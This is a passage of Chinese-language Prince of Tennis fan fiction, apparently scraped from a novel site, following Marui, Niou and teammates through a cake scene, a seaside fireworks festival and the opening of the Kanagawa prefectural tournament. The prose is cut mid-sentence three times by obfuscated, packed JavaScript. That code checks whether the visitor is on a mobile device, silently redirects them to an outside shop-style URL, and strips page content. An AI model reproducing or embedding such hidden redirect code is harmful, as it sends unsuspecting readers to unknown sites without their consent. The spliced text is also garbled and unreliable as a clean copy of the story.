所形容的“杰作”。 “喔——这确实厉害。”他啧啧感叹。 摆在他眼前的蛋糕简直像是复古风格的立体画,光影渐变的落日与花瓣伸展的野玫瑰花园都细腻而唯美,糖果色奶油被小刮刀以油画的手法涂抹成了唯美的印象派画作。 “对吧?” 丸井文太高兴地说,这位基本只在原料处理方面出力的甜点专家看起来比他身旁的部长大人还要雀跃几分,仁王虽然知道他一贯是无可救药的甜食脑袋,还是忍不住吐槽:“不过就凭丸井你那儿童画水平的涂鸦能力,这大概是属于下辈子都无法达成的造诣吧。” 对此无法反驳的丸井文太一阵语塞,他的绘画水准……确实很弱,所以做点心的时候都是靠精妙的摆盘来扬长避短。 “可恶,仁王你很烦啊!”他开始恼羞成怒。 “puri。” 他们闲谈的时候,幸村精市因为老师的紧急召唤不得不先行离开,丸井文太拍着胸脯说他可以一手包揽剩下收拾料理台的工作,当然啦,这家伙的下一句话又是用恃宠而骄的语气说交给杰克,引来不远处他那位黑皮发小的无效抗议。 “不吃一口蛋糕再走吗?”仁王这么问道。 “这个啊……” 幸村话音拖长,还未回答,文太先暗中露出有些不妙的表情,“啊”的叫了声,在二人都将视线移到他身上时,他有些着急地说:“那个……那个、我肚子饿了,可以都给我吃吗?” 幸村精市有些惊讶,眉梢不动声色地挑了一下。 刚才料理课上文太都吃了不知道多少女生们的点心投喂,居然还会饿吗? 不过他向来很纵容丸井文太一些小小任性的请求,很快笑了起来:“呵呵,好啊。” 幸村离开后,仁王回头看向翘着腿坐在料理桌上,正拿起一块蛋糕一口咬下的文太。 仁王雅治不太爱吃这种甜腻又糊嗓子的食物,不过他知道丸井文太非常贪吃又食量极大,消灭一整个蛋糕绰绰有余,他有心逗一逗对方,故意抱怨道:“吃独食不好吧丸井,竟敢霸占幸村的手艺,这么大的蛋糕不分给我一份吗?” 和想象中傲娇拒绝的回应不同,丸井文太看了过来,仅仅以若有所思的眼神盯了他一秒,很快又低下头吃起蛋糕,用随意的语气说:“可以啊,你自己切着吃吧。” 唔? 预想之外的回应让仁王微微愣了下。那个丸井竟然会有不护食的一天?!他只觉一阵电闪雷鸣,当即陷入沉思,脑海转动得仿佛瞬间逆向推演了宇宙大爆炸的全过程。 线索一:连盒饭都能搞砸的幸村亲手制作料理。 结论:极可能不好吃。 线索二:那个仰慕着幸村的丸井竟然阻止幸村吃蛋糕。 结论:极可能不好吃。 线索三:丸井愿意把蛋糕分给我吃。 结论:连他都觉得蛋糕不好吃。 仁王雅治陷入沉默,将敬畏目光投向目前已被丸井文太切下一块,却仍是美丽得如同美术馆展品的蛋糕上。 “咳,还是算了……”他说,“我没那么饿,先走了。” 丸井文太脸上没什么表情,用无所谓的语气“哦”了一声,送走仁王雅治以后继续闷头大吃。 他一口一口将蛋糕送进嘴里,悬空的双腿轻轻摇晃,过了一会儿,唇角忽然悄悄勾了起来。 “笨蛋。” 有他天才丸井文太大人亲自把关的蛋糕怎么可能难吃呢? 过度谨慎可不是什么好品质,人不能太瞻前顾后,要是因为害怕被骗而拒绝尝试,就会错失得偿所愿的机会。 只不过……嗯,确实比往常的水准要低了一些。文太边吃边反思,水好像加少了,烤制的时间有点过头,黄油的用量太多,导致口感不是很好。 他一开始打了包票说一定会成功的,所以不太好意思让幸村君品尝到不完美的成品。 至于仁王?哼哼,那可是幸村君亲手制作的蛋糕,吃独食又怎么了?才不分给他—— 50.File 49 花火 五月中旬的期中考核后,切原因为种种不可抗力,总是要晚半小时到一小时,才蔫头耷脑地赶到网球场参加部训。幸村允许他迟到,连真田也没多说什么,其他人过了几天也逐渐回过味来,唯有老师的安排才能优先于部内纪律,大概是切原的班主任跟部长他们有过沟通吧。 至于原因也是非常好猜,考试过后的留堂,显而易见就是补习和补考了。 “有那么严重吗?居然已经持续一周了……”丸井文太满脸疑惑,说完后吹出一个泡泡,“比吕士,这次一年级的测试难度特别高吗?” 原本蠢萌蠢萌的学弟现在成天像霜打的茄子一样缺乏活力,学长很担心宠物的精神状态。 “确实很奇怪呢……我听妹妹说应该只是普通难度。”柳生比吕士说。 “这样啊……” 结果还是最有常识的仁王雅治道出一针见血的吐槽:“柳生你们兄妹的成绩常年都在年级数一数二,对难度变化的感受应该不会太明显吧,但对切原那种头脑水平来说可就完全不同咯。” 这样的解释丸井文太简直秒懂:“哈哈哈,原来如此。” 后来他去一年级教室找切原借新出的漫画,确实发现柳生他妹妹正坐在对方的隔壁帮忙辅导作业,看到那位紫发女生隔一会儿就转过头轻轻叹气,丸井文太心中颇感同情。 在女生面前,知情识趣的学长难得没说什么促狭的话打趣切原,借走漫画就转身离开,临走前还送给学弟一个明快的wink作为感谢。不过丸井文太并不知道的是,他的到访后来在这个一年级的班级里掀起了一阵小小的热议。 “长相比传闻中的还好看呢。” “那闪闪发光的笑容简直就是偶像!” 那位二年级的丸井学长是很受欢迎的,容颜秀丽,性格也友善可亲,交际广阔而且外界从无不良评价,运动神经更是出类拔萃的天才水平,无论在高年级的学姐们还是一年级的女生当中都具有相当高的人气。 有人好奇地问:“切原,你知道丸井学长他有女朋友吗?” “哈——?我不知道啊,他那个人对任何女生都差不多吧……”切原赤也打了个哈欠,不太感兴趣地说。 关系还没丸井学长跟我好呢。他有点小自负地心想。 “传闻说似乎有呢。” “咦?!”海带头意外地瞪圆大眼睛。 “不过好像很快就分手了吧,似乎是部活太忙之类的原因。” 什么嘛。切原赤也不自觉地松了口气,脱力地一头趴在桌上。这番动作全凭直觉反应,直至此刻他才感到一阵纳闷,搞不懂自己为什么反应过度。 旁边的柳生妹妹被他一惊一乍的反应弄得无奈,用自动铅笔的笔尾轻轻戳了他的手臂两下,小声提醒:“切原君,你该写下一题了。” “是是——” 第一次是在柳生家的学习会,第二次是课后给同班的切原补习,柳生的妹妹第三次偶遇丸井文太,是在教学楼的走廊转角,她刚艰难抱着一大摞会议资料走出办公室,还没走几步,在转弯的时候没掌握好重心,一不小心就让怀里的资料全都飞了出去,把对面经过的人砸个正着。 “呜哇——这是怎么搞的啊……” 哪怕是带着不满的抱怨语气,丸井文太那极具辨识度的悦耳音色都有天赋在其中掺入一丝撒娇般的氛围。他抬起眼帘,一眼便瞧见颇为眼熟的学妹脸色飞快由红转白,不由眨了眨眼,抢在对方开口道歉前先开了口:“啊!你是柳生家见过的—— “怎么你一个人搬那么多东西啊。”文太蹲下身,帮忙一本本捡起四处掉落的纸册,他的目光在文件上的文字稍作停留,“唔……会计报告书?这不是学生会的东西吗?” “嗯……非常不好意思。”柳生妹妹满脸愧疚,尴尬得整个人都要钻到地缝里去了。 “没事,你也一次性搬这么多资料很困难吧。”丸井文太换位思考,立刻为她鸣不平,“让你一个女孩子做这个也太过分了!” 对方拘谨地小声说:“因为我才一年级,需要分担一些杂活也是正常的。” “那也应该让其他人来帮帮你啊。”文太说完自己先叹了口气,不再说会让对方感到为难的话,起身时把收拾好的文件都抱了起来,“算了,你去哪儿?我们一起去。” 光凭几句话的沟通他就能看得出来,柳生的妹妹性格有些内向,这种文静又善于忍耐的性格最容易吃亏,平日宁可自己多付出一些,也不会去特地麻烦他人。生活的运行逻辑往往就是如此,最终大多的苦都被能吃苦的人包揽了。 在这样的印象下,丸井文太后来遇到对方的时候都是能帮则帮。当然了,如果杰克在他的身边,文太便会毫不犹豫地把体力活交给发小代劳。 这样一来二去,他自己因为是很擅长照顾人的性格所以对那些琐碎的善意关照没太多自觉,但对另一边而言,意义却截然不同。 当对方试探性地邀请他一起去观赏花火大会时,丸井文太心思细腻,很快从女孩脸颊微红的表现中觉察了什么。 有点不太妙,他只是把对方当作朋友妹妹对待…… 最简单的办法是当场拒绝,以免造成误会,但他既不忍让女生这边下不来台,也不希望跟柳生那边产生不愉快,便假作不知地笑着答应了下来。 “不过你那边应该也有跟其他人一起吧?”他状似不经意地调整了一下话题的方向,贴心地问,“我去的话,会不会有些冒昧呢?对了,你是跟同学一起?还是家人?” 脸皮薄的女生在一切未挑明的阶段实在说不出只想两个人一起去的话,支吾了半晌,低声说:“家、家人吧。”喊上同学一起也太羞耻了,恐怕隔日学校就要冒出各种八卦传言,兄长已经是她能接受的极限。 于是便这么约定了下来。 神奈川的逗子海岸每年都会在初夏举办花火大会,这是五月份整个关东地区规模最大的海上花火盛会,会场位于和镰仓相邻的逗子市,其实距离立海很近,搭乘电车的话只需要一站即可抵达。 电车门打开,丸井文太跟随人群从中走出的模样十分显眼。他身量纤细,如今换上了一身带有海浪纹样的绛红色浴衣,锁骨在宽松的领口下若隐若现,碎发微微长过耳际,远处的灯光映出他分外俊俏的侧脸,眼睫、鼻梁的线条都勾勒得流畅挺拔,只需眸光灵动地轻轻一转,就能从骨子里流露出一种惹人偏爱的少年气息。 就是那张嘴在某些时候还是蛮恶劣的。 “唷,仁王啊,你什么时候改姓柳生了?比吕士也没告诉我啊。” 丸井文太看到柳生兄妹的身影便走了过去跟他们汇合,同时浅紫色的眼睛瞄向与他们一起等待的仁王雅治,眼底滑过一抹不怀好意的打趣,拐弯抹角地损起他不请自来的事。 不过丸井文太也算是棋逢对手,因为仁王雅治信口胡诌的本领也是登峰造极,睁着眼睛就开始说起了瞎话:“嗯,是啊,就前不久。因为喜糖准备得有限,全网球部里只有某个人没被邀请。” 前一秒还在笑嘻嘻的文太登时咬牙切齿:“喂你这家伙——” 三名男生里唯有柳生还算是正经一些,轻轻推了下眼镜,冷静道:“仁王君,请不要败坏我的名声。” “puri。” 后来为了避嫌——到底是哪一方需要避嫌就别管了——一行人变成了柳生兄妹走在前面,而丸井文太跟仁王雅治则落到后方闲聊的状态。 二人慢慢踱步,仁王雅治向来不太合群,这回也难得配合场合换上了一身群青色的浴衣。银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901539|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发少年无论何时都一副漫不经心的慵懒模样,夜幕下的眉眼沾着银粉似的月色,看起来又是英俊又是冷清。 丸井文太说:“虽然不想承认,但还好有你过来。”否则他就算再擅长调节氛围,在这种场面下也会觉得有点尴尬。 “呵。”仁王雅治轻笑了一声,意味深长地道,“那你不好奇我为什么被他们喊过来吗?” “那个啊……在问为什么之前,我想先问下‘他们’是什么意思?” 文太当时正边走边吃着一根从街边小摊上买的棉花糖,听到这话时,脸上浮现出一丝诧异,错愕地望向故意卖关子的仁王。 似乎是为了不让前面听见他们的说话声,对方将脚步放慢了些,丸井文太也心领神会,二人渐渐与柳生兄妹拉开距离。 沁凉的晚风带有一丝咸湿气息,海岸边游人如织,热闹的氛围搭配着周边缤纷多彩的灯光,让附近每个人的脸上都带有迎接节日庆典般的欢欣笑容。 “砰——”、“砰——”的响声不绝于耳,烟火就在澄澈夜色中如繁花般盛大绽放。 为了能让彼此更清楚地交谈,仁王向文太靠近了一些,笑容逐渐真切的脸慢腾腾地歪过来。 “明知故问。”凑近那被红发遮覆的耳际,仁王的语气里还带着几分狡猾愉悦的余韵。 “你这家伙真是烦人啊!” 丸井文太忍不住似嗔似恼地横了他一眼,大概是被戳破了心思,有点挂不住面子。 远处花火飞燃,从海面窜上高空的绚烂光华隐隐约约映出他脸颊微红的颜色,明媚的光衬得他瞳孔深处的色彩灼灼烈烈,闪烁于当中的怒意反而成为极其生动的点缀。 不得不承认,这家伙真是适合红色。 仁王雅治笑了一下,才说:“柳生找我过来,是让我盯着你,别再到处散发你招三惹四的魅力。他妹妹请求我过来,虽然没明说,不过大概是寄希望于有我在现场,多少能分散一些柳生的注意力。” 更多的解释他就不说了,毕竟丸井文太的领悟力向来不负他的天才之名,生活里有很多事都是你知我知即可,不必全都宣之于口。 不过这也不妨碍丸井文太沉思后道出一句感叹:“仁王你还真好用啊。” 他知道很多人都是关系变近以后才会展现出特别的一面,像是仁王雅治时常会让人觉得行动孤僻,心思又向来神秘莫测,但对柳生他们来说,说不定那家伙其实是能被托付信任的可靠对象? 对了,恶作剧的时候要除外。 “那么——” 丸井文太轻轻咬了一口棉花糖,舌尖卷过一缕甜蜜的糖丝,看起来仿佛只是随口一提,又像是敏锐至极地把话题切入对方内心的要害。 他笑着问:“请问仁王同学你自己的意愿是什么呢?” 仁王雅治有些意外地瞧了他一眼,丸井文太眼神晶亮,透着洞察的明辉,唇角微扬,送给他一个锐气四溢的漂亮笑容。 于是在他半步距离之外的仁王也弯起唇,转过头望向漫天盛放的花火,瞳仁深处闪烁着星星点点的光,将那双冷绿色的眸子也染上了斑斓热烈的美丽色彩。 “明知故问。” 他又用同一句话来回答,不过仁王雅治十分确信丸井文太还是能听得懂,与此同时心中又不期然升起一丝无奈的情绪。 将那种太擅长揣摩心思的家伙作为对手其实很麻烦,永远都无法确保自己能处于上风,还可能将自己并不打算诉诸于口的念头也暴露无遗。机会主义者的现世报不仅从不迟到,还快得让人措手不及。 但不可否认的是,和丸井文太这种有来有往的针锋相对确实刺激,让仁王雅治有些上瘾。他此刻心情愉快地在这里观赏烟花,也并非出于任何人的请求,而是他自己就乐在其中。 51.File 50 县赛 穿着浴衣的两名少年在人群中散步,在融融夜色中低语交谈,那夜迎着晚风的氛围让人心旷神怡,倒让仁王后来被柳生道谢时感到一阵微妙和复杂,忍不住用似笑非笑的模样耸了耸肩。 他是凭私心行动,对好友的谢意反而是领受不起了。 校园里有关丸井文太的传言一直很多,那家伙国一的时候并不比切原赤也来得低调多少,开学那几天就因为携带便当数量太多成为年级和网球部里的话题。尽管为人八面玲珑,却热衷于把小聪明用在让自己随心所欲的地方。后来一直有关于他形形色色的传言流出,时真时假,从来无法撼动对方自由奔放的生活方式。 他是天生适合成为视野中心的人物,随心所欲和讨人喜欢两种较为矛盾的特质能够在他身上和谐共处,存在感强烈到令人过目难忘。 因此无论年级和性别,到处都有属意于他的人。何况丸井文太从来不加收敛,还经常一视同仁,那简直是可以预见的灾难。 能走进他内心,对他来说特别的家伙,存在,但极为罕见,数量稀少到让熟悉他性情的人大吃一惊的程度。 例如一直被他以“幸村君”这种独特方式来称呼的部长大人,这倒也无可厚非。 还有就是自小和他朝夕相处的杰克,能够长久包容着丸井对他时而蛮横时而卖弄可爱的棘手脾气。简直就像小智放任着不愿钻进精灵球的皮卡丘一样,把那家伙溺爱到让人无话可说的地步。 不过这也没法完全责怪杰克容易心软,洞察破绽和乘胜追击向来是丸井文太的专长项目。任谁被那社交悍匪用一双大而有神的明眸专注凝视,都很难抵抗被对方一而再地抓住机会攻城掠地。贪心成性的家伙可从不会顾及地主家也没有余粮啊。 花火大会以后,随着切原赤也艰难结束补习,丸井文太也鲜少再为了探望学弟而出没于一年级的教室。这些天天气逐渐炎热,立海学生都脱下厚重的西装外套,换成了短袖的夏季制服。成天喊饿的家伙现在成天喊着又热又饿,能吃的劲头倒丝毫不受升温影响,甚至多干掉了两大碗哈根达斯,让夏季深受食欲消减之苦的仁王雅治钦佩不已。 他在部活期间暗自打量丸井文太,实在想不通这家伙平时吃这么多,居然从外表看都没怎么变化,似乎还隐约有着要被小他一年的切原赤也超越的趋势。 当然了,这里指的是身高。 要说网球的话,切原虽然颇具威胁,但在球商上还是差了些火候,往后还有很长一段路要走吧。 “砰——!” 一颗网球携着凶势飞过半空,落在对面的场区,坐在裁判席的一年生收回视线,高举手臂报出比分,宣告这一盘的终结。 球场外观战的一众网球部成员对视一眼,又不约而同地将视线移向幸村精市,他们的部长在一片静默中走上前,唇边扬起一个淡淡笑容:“恭喜你成为正选,切原君。以及,虽然有些迟了,但我想正式地再说一次—— “欢迎你加入立海大附属中学男子网球部。” 幸村精市居高临下凝视着也将不驯目光投向自己的切原赤也,睫羽微微压低,一刹流露出危险至极的深意,眸光流转着锐色,为他看似柔和的笑容添上一抹高傲的锋芒。 “和我们这支全国最强的队伍。” 立海的校队自去年秋天以后终于迎来新的正选更替。因为有切原开学时那场大闹在前,大多数人心里早有预料,此刻更多的是一种靴子终于落地的感慨。 不过败下阵来的前正选学长也并不气馁,切原赤也的天赋确实恐怖,但也不代表他能被轻易甩开。立海的上位层选手向来竞争激烈,他绝不会放弃打磨球技、精进自己。 何况他们的网球之路还有很长,等到自己明年升入高中部,还将迎来一段充满挑战性的全新征程。 “不错啊,切原!”丸井文太在切原赤也下场以后把他一头卷发揉成凌乱的鸟窝,对方早就知道反抗无用,却还是忍不住抱怨了一句丸井学长又弄乱他的发型,这自然还是被任性的小学长装作听不见一样彻底无视,他都已经习惯了。 切原成为正选以后,他的日训项目并未发生太明显的变化。原本柳莲二就是以正选规格安排他的训练内容,最大区别的就是他正式加入校队每月两次的远征比赛,还能享受到丸井文太每次都精准推荐的当地美食了。 立海校外练习赛的对象基本为关东地区的学校,主要集中于神奈川县这个大本营,以及强豪云集的东京都。这两地由于历年的参赛学校众多,不仅能在县大赛和都大赛中被分得更多出线名额,在关东大赛的出战学校中占据半壁江山,而且以立海、冰帝为各自的代表,时常能在进军全国大赛以后夺得上位名次。 现下立海作为去年的冠军,向他们提出练习赛申请的学校很多。柳莲二通常根据对方前三年的比赛名次作为参考,优先挑选成绩出众的学校作为训练对手。 六月上旬,他们与在神奈川北相地区预赛中取得冠军的柏木学园举行了练习赛。因为那天正好也是网球部的创部纪念日,大家便决定赛后一同去游乐园庆祝。 难得放风的切原就跟参加班级郊游的小学生一样兴奋,他左看右看,兴冲冲地举手提议:“既然是庆祝,那么我们可以忽视前后辈的关系,自在放松地玩吗?!” “这样啊,我倒是没什么关系。” 在柳莲二这么说的时候,幸村精市也笑了笑:“我也不介意哦。” 丸井文太瞧着给点阳光就灿烂的学弟,很宠爱地说:“既然如此,那你直接叫我文太也可以哦。” 站在他身边的仁王雅治也笑容满面地点了点头,微挑眉头道:“嗯,机会难得,你现在立刻喊一下真田的名字试试吧。” 切原:“?” 真田:“?” 呃,喂,这不对吧。 意识到事情并不简单的海带头把眉头一皱,他这个人生存直觉相当灵敏,反射性地扭头瞄了一眼对面一脸严肃的副部长,对方也面无表情地与他对视,不仅眼里写满了介意,而且似乎还很想找机会修理自己。 “对不起,是我得意忘形了。” 他马上立正,并郑重道歉,一整套充满求生欲的连招熟练得令人心疼。 虽然有的人不愿意被学弟直呼名字,还有人有意无意破坏了切原称呼文太名字的机会,但念在他只是个才加入网球部的新人,又是校队里重点栽培的后继者,学长们还是同意有必要让切原体会到前辈的关爱,最终决定往后大家一致改口用“赤也”这个名字而非姓氏来称呼他。 这对真田来说倒也算是付出了极大的努力,幸村为此还将他打趣了一番。毕竟他们相识多年,真田却总是对直接念出幸村名字这件事感到极不自在。 校队成员训练繁忙,很少有完整的假期。从本质来说,每次在远征比赛结束后的聚餐和闲逛就是他们忙里偷闲的休息时光,所以切原将去游乐园视作团体郊游也完全没问题。 大家在回家的时候一起搭乘同一辆电车。暮色笼罩返程的路途,霞辉穿过玻璃,将视野所及的一切都染上温暖柔和的色泽。 文太和切原一直热闹地辩论着游乐园的吉祥物是兔子还是狗的话题,还揪着杰克给他们当裁判。仁王把一只耳机分给幸村,连着手机播放了他最近喜欢的音乐。真田视线一转,看见柳从球包里拿出笔开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918326|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 创作俳句,落于纸面的文字透着君子的清雅韵味,他不自觉凑过去,指着上面的内容跟对方讨论起来。 夕光优美,复古的绿皮电车咣当咣当地驶过林荫小路,正值紫阳花开的时节,蓝紫相间的绣球簇拥于铁道两侧,满地都是花开的碎影。 然后日子平稳地来到神奈川县大赛开幕那一天,比赛地点位于横滨的网球森林公园,各地区共选拔出112所学校参赛,上位4校能够出场关东大赛,16强将获得来年的种子权。 县大赛的赛程相较地区预选更为紧凑,参赛学校需在八点以前报道,八点半开始第一轮淘汰赛,不过立海作为铁打不动的常胜校,享有头号种子的特权,前两轮比赛轮空晋级,仍旧只要在十点前完成签到就行。 话虽如此—— “丸井学长,为什么比赛日还要跟平时一样大清早去学校集合啊?啊困死了,亏我还以为能多睡会儿呢。” “赤也我说你啊——刚才已经在电车上睡得天昏地暗了吧?要不是我及时把你揪下来,你自己坐过站了都不知道。居然还敢理直气壮地问我为什么,防的就是你这种不靠谱的家伙!” 在立海到场之前,隐隐约约有吵闹声从远处传来。 “呃,那、那个!那是因为电车太摇晃了啦!对,都是电车太晃的错!都怪电车晃得我一不小心就晕过去了,绝对不是睡着了哦。” “笨蛋,你以为我会被这种理由骗到吗……” 人们循声望去,就能看见穿着明黄队服的立海选手接连走来。 丸井文太实在嫌弃学弟那侮辱智商的拙劣借口,吐槽过后就懒得理他,双手插进衣兜,下颌微微抬高,吹出一个青绿色的泡泡。切原赤也更是脸皮厚得很,把双手搭在脑后,一副毫不心虚的模样跟在后面。而其他走在他们二人身边的立海选手中,除了众所周知的三强,属于新面孔的队员竟占据绝大多数,着实让不少学校的人都大吃一惊。 “看,立海来了。我看到幸村了!” “还是一如既往的显眼啊,听说他们在上个月的地区预赛里没有丢掉一分……” “咦,加藤他们呢?立海今年的队员看起来基本都是二年级啊……等下,后面那小鬼应该只有一年级吧?!怎么回事?这简直是大换血啊。” 附近开始议论纷纷,在众多或明或暗的视线关注中,立海选手步伐沉稳而轻松地走过他们身前,所过之处引来一片寂静。 仅仅是一眼望去,能看到气质高华的微笑,也可见不苟言笑的肃穆,有青春气漫溢的随心所欲,也有叛逆不羁的散漫分子,张扬与内敛的风采势均力敌,稳重与随性的底蕴分庭抗礼,从笼在他们眼角眉梢的自信光彩,到各有千秋的强大气场,每一人的身上都萦绕着从容的余裕。 同是神奈川的学校,很多信息都不是秘密。 部分资深选手此前了解过立海校队的淘汰机制,此刻已经心绪浮动。 也有些新人今年才初次登上县大赛的舞台,他们虽然对立海的强大尚无概念,却忍不住朝那一众气质独特的选手看了又看。 只见有个人迟疑了一下,向身边的人询问:“我以前只知道立海会卡新生的成绩,网球部会卡正选的实力,但他们内部是不是还存在其他的筛选规则啊?” “咦?有吗?” “比如说……正选的长相?” 不怪他问题荒谬,实在是这个队伍里所有人的样貌都过分出彩了,连看起来最平庸的成员都相貌端正,那位部长更是其中佼佼者,容姿尤为出众,几乎让人以为他“神子”的称号是一种写实的形容。 这群人是来打网球的吧,卡颜值是合理的吗? 52.File 51 鲨鱼 围绕立海的喧嚣在幸村完成报到后便逐渐平息。尽管各方进度有快有慢,但随着县大赛的第二轮淘汰赛陆续结束,四分之三的参赛学校遭到淘汰,对他们的选手来说,今年的赛季便已宣告结束。这些成绩寻常的校队大多在历年都是一轮游或二轮游的常客,除了零星选手有兴趣当观众,其他人很快就离开了会场。 沙里淘金,留下的队伍已具备一定的实力与野心。除非是与立海同组的学校,其他队伍更倾向于关注下一轮即将狭路相逢的对手。 从第三轮淘汰赛开始,去年曾夺得关东大赛出赛席位的上位种子校开始参战。如同在历经厮杀的鱼塘中投入数条凶猛的鲨鱼,比赛难度跃升至与前两轮截然不同的水准。 不过戏剧性的是,萦绕县大赛会场的紧张氛围渲染至此,他们立海却是被视作鲨鱼的那方。 ——那么,在只有你死我活的鱼塘里,鲨鱼的想法又是如何呢? 在这个信奉优胜劣汰的比赛场上。 丸井文太迎着日光微微眯起眼睛,长睫毛轻轻地眨动了一下又重新抬起,浅紫色的瞳仁在太阳照射下,仿佛能将周围的光线尽数汇聚,流转着意气风发的神采。 “赤也,告诉你一个好消息吧。” “唔?” “今天的比赛,你可以任选一场,然后整理出一份带有个人感言的观战报告。要在下周一晨训的时候交哦,柳会在下午的部内会议上讲评的。” “咦——咦?!那是什么东西?!” 丸井文太被直冲鼓膜的呐喊吵得往边上躲了躲,斜眼过去,就看见身旁的切原赤也露出雷劈似的呆滞表情。海带头学弟的手上还捧着一个刚从球包里掏出的PSP掌机,是这家伙观战时觉得无聊,便低头偷偷玩起了游戏。 眼看着真田和柳的比赛快要结束,他怀疑切原忘了要写报告的事,才开口提醒。果然,对方当即表现得像是刚知晓这个噩耗,一张脸顿时泛青。 “是作业啊。你这家伙……果然没听啊,出发前柳明明交待过的。”文太说,“听好了,所有正选都要写,尤其是你,字数不得少于规定。” “可、可是……”切原嘴角抽搐,试图挣扎道,“我不知道……不,是不理解这种事啊!我们不是运动系社团吗,为什么还要布置作业?!” 丸井文太看他绝望的样子有点无语,又有点想笑。 “别小瞧理论课的作用啊。赛后的经验总结和战术分析也是很重要的,能走到这里的对手不可能全然一无是处,学会取长补短才有利于全面发展。” 他说着声音忽然停了一瞬,接着,道出一句绝杀。 “你不是要成为No.1的吗?” 文太饱含笑意的眼睛眨了眨,声音轻快而明亮,硬生生把一句反问说成陈述事实的语气。 那挑起眉梢注视着他的神情带着挑拨人心的戏谑,既像是知晓他死穴的随口打趣,又好似当真怀着一丝期待。 切原赤也微微一顿。 “丸井学长你太狡猾了啊。” 他低低咕哝了一声,倒是老实地放下了掌机,然后被丸井文太轻轻揉了揉脑袋。 嗯,这样才乖。 立海校队一贯致力于培养无死角的强大球员,偏科是不允许的。 要做就竭尽全力去尽善尽美,当仁不让地站在食物链的顶端,将其他鱼群视作滋养自身血肉的养料,然后一鼓作气,全都吃个精光! 看着双打二的比赛结束,真田和柳并肩回到休息区,杰克站起身。 “该走了,文太。” “喔!” 丸井文太将手中剥开了糖纸的口香糖块弹到半空,然后灵巧地仰头用牙齿一口咬住,拿起球拍,跟上搭档的脚步。 面对球场那边紧张得脸色紧绷的对手,他故意露出一个可爱又张扬的笑容,将剪刀手比在脸颊一侧,单眼轻盈地眨出一个wink。 “4946!接下来请欣赏我的天才表现吧。” 以中学网球选手的标准来估量,丸井文太身材并不高大,反而算得上瘦小,极易使第一次遭遇他的对手低估他的危险性。但这样的印象通常很难超过一局,他的上网截击是效率极高的夺分利器,不仅出招迅疾、出其不意,而且攻势精准老辣,被他处理的来球往往带着咄咄逼人的犀利角度,刁钻吊诡得像是在刻意炫技。 双方前锋隔着球网匆匆错身,仅凭余光惊鸿一瞥,红发少年的队服衣摆飞扬,在风中摇晃的衣领凌乱敞开,薄汗浸湿的锁骨与脖颈泛着水亮的光泽。那落在视网膜上的笑容简直盛气凌人,短兵相接的眼神里凝聚着势在必得的锐色。 电光石火间,网球好似自投罗网,一往无前地撞进他的球拍中心,发出剧烈摩擦的震颤声。回球的轨迹如同将空间劈开一道雪亮电光,流畅而炫目,几乎能够刺伤眼皮。 转眼间对手的比分便如溃堤般崩塌。 这个前锋很棘手,不能再被这个人接到球。 等他们意识到这点之时,比赛节奏已经被对方完全握在掌心。 丸井文太意识敏锐,很快就察觉到了对手开始转换策略。对方的前锋改为紧盯他的动向,紧接着,似乎是用背在身后的暗号手势提醒了后卫,他能感觉到对面时刻警惕着自己上网截击的意图,后卫不再像是之前那样将击球路线击中在单一方向,而是开始左右调动。 不可否认,这样的战术调整确实可能把局势拖入消耗战,让后卫疲于奔命,但要同时达成让前锋接不到球的效果,可没那么简单。 对方要是把球路拉得太高,杰克就能从容追上,根本达不到消耗体力的目的;可要是因此改打低平的抽击,又很容易被文太拦截。 要想打乱他们的进攻节奏,就必须打出能从文太与杰克之间穿过的有效球。 高度恰到好处的中场吊球才是最优解,但这需要极高的控球精度,水准不行的球员反而容易弄巧成拙。 前期试探中,文太观察了对方的实力和性格,判断他们不会选那种冒进的打法。接下来的局势果然如他所料,对手选了折中的打法,来球冲向对角线方向,又被杰克密不透风的回击抽进对面球场。 虽然这一举动也把他们自己拖进了相互消耗的泥沼,但战局确实被拖入了平稳的斜线拉锯战,核心变成了双方后卫的对决。 球场上击球和奔跑的声音此起彼伏,很难听清细微的声响,但或许是出于多年的默契,丸井文太觉得后方的杰克此刻大概是有些嘲弄地嗤笑了一声。 跟有南美血统的杰克比拼体力,这可不是一个明智的决策。 “啪”的一声,丸井文太吹破泡泡,也弯起唇梢轻笑了一声。 况且,属于他的机会也不只能依靠等待获得,还能主动创造。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932973|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是速战速决吧,拖泥带水从不是他的作风。 反正胜负早就注定了,区别只在于取胜的方式。 当杰克击出的球精准落在对方底线,带着强烈旋转高高弹起时,丸井文太紧紧盯着对方后卫的动作。 就在那人完成引拍,重心还没完全转移到前脚的那一刻—— 